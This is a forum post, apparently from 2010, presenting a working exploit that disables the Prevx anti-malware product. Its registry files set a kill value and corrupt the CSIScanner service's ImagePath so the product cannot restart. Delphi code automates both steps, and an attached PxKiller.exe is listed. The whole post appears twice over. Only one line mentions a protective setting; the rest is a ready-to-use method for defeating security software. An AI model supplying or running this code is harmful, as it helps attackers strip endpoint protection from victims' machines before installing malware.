STRELiTZIA
10-10-2010, 09:26 AM
السلام عليكم و رحمة الله
Prevx Registry value “KCSI” Exploit.
Prevx, trying to read the data contained in the registry value”\PCSI\KCSI”, and eventually make it null if it contains data different than zero.
Roots and keys:
HKLM\SOFTWARE\PCSI\KCSI
HKCU\Software\PCSI\KCSI
HKU\.DEFAULT\Software\PCSI\KCSI
Value : KCSI
Data type : REG_DWORD
Data value : $00000001
This value does not exist when you install Prevx, but he continually seeks it every time.
By changing the data stored in this value to “1”, Prevx was killed instantly, but Prevx processes resurrected.
To bypass resurrection, we can corrupt service or drivers keys values by synchronizing modification after the process is completed or using Loop to write 1 every second.
Settings:
- Turn 'ON' Monitoring to get MAXIMUM Protection (this option prevents any Prevx registry keys malicious modification).
Use Windows registry file to add new values:
------ KillPrevxOneTime.reg --------
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\PCSI]
"KCSI"=dword:00000001
--------- CorruptCSIScanner.reg ----------
Windows Registry Editor Version 5.00
;Corrupt ImagePath to ""C:\Program Files\Prevx\prevx1.exe" /service";
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\CSIScanner]
"ImagePath"=hex(2):22,00,43,00,3a,00,5c,00,50,00,72,00,6f,00, 67,00,72,00,61,00,\
6d,00,20,00,46,00,69,00,6c,00,65,00,73,00,5c,00,50 ,00,72,00,65,00,76,00,78,\
00,5c,00,70,00,72,00,65,00,76,00,78,00,31,00,2e,00 ,65,00,78,00,65,00,22,00,\
20,00,2f,00,73,00,65,00,72,00,76,00,69,00,63,00,65 ,00,00,00
Launch” KillPrevxOneTime.reg” then “CorruptCSIScanner.reg”, you must synchronizing
these operations.
Delphi part of code without optimization and checks:
procedure KillPx();
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('\SOFTWARE\PCSI', False);
Reg.WriteInteger('KCSI', $00000001);
Sleep(1500);
Reg.OpenKey('\SYSTEM\CurrentControlSet\Services\CS IScanner', False);
Reg.WriteExpandString('ImagePath', '"C:\Program Files\Prevx\prevx1.exe" /service');
Reg.CloseKey;
Reg.Free;
end;
المرفقات:
PxKiller.exe
KillPxOneTime.reg
CorruptCSIScanner.reg
Readme.txt
Prevx Registry value “KCSI” Exploit.
Prevx, trying to read the data contained in the registry value”\PCSI\KCSI”, and eventually make it null if it contains data different than zero.
Roots and keys:
HKLM\SOFTWARE\PCSI\KCSI
HKCU\Software\PCSI\KCSI
HKU\.DEFAULT\Software\PCSI\KCSI
Value : KCSI
Data type : REG_DWORD
Data value : $00000001
This value does not exist when you install Prevx, but he continually seeks it every time.
By changing the data stored in this value to “1”, Prevx was killed instantly, but Prevx processes resurrected.
To bypass resurrection, we can corrupt service or drivers keys values by synchronizing modification after the process is completed or using Loop to write 1 every second.
Settings:
- Turn 'ON' Monitoring to get MAXIMUM Protection (this option prevents any Prevx registry keys malicious modification).
Use Windows registry file to add new values:
------ KillPrevxOneTime.reg --------
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\PCSI]
"KCSI"=dword:00000001
--------- CorruptCSIScanner.reg ----------
Windows Registry Editor Version 5.00
;Corrupt ImagePath to ""C:\Program Files\Prevx\prevx1.exe" /service";
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\CSIScanner]
"ImagePath"=hex(2):22,00,43,00,3a,00,5c,00,50,00,72,00,6f,00, 67,00,72,00,61,00,\
6d,00,20,00,46,00,69,00,6c,00,65,00,73,00,5c,00,50 ,00,72,00,65,00,76,00,78,\
00,5c,00,70,00,72,00,65,00,76,00,78,00,31,00,2e,00 ,65,00,78,00,65,00,22,00,\
20,00,2f,00,73,00,65,00,72,00,76,00,69,00,63,00,65 ,00,00,00
Launch” KillPrevxOneTime.reg” then “CorruptCSIScanner.reg”, you must synchronizing
these operations.
Delphi part of code without optimization and checks:
procedure KillPx();
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('\SOFTWARE\PCSI', False);
Reg.WriteInteger('KCSI', $00000001);
Sleep(1500);
Reg.OpenKey('\SYSTEM\CurrentControlSet\Services\CS IScanner', False);
Reg.WriteExpandString('ImagePath', '"C:\Program Files\Prevx\prevx1.exe" /service');
Reg.CloseKey;
Reg.Free;
end;
المرفقات:
PxKiller.exe
KillPxOneTime.reg
CorruptCSIScanner.reg
Readme.txt